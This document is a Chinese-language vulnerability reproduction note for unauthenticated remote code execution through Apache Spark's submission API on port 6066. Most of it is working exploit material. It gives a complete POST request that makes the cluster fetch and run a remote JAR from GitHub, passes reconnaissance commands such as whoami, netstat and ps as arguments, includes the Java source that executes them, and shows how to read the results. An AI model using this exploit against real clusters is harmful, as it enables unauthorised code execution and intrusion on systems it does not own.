# Apache Spark create 未授权访问漏洞
# 漏洞描述
Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动ACL（访问控制），我们将可以在集群中执行任意代码。
# 漏洞影响
# 网络测绘
# 漏洞复现
主页面
发送请求包
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://your-ip:6066"
}
}
# https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
# Github代码为编译后的代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
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再访问获得的 submissionId Url查看结果
/logPage/?driverId={submissionId}&logType=stdout
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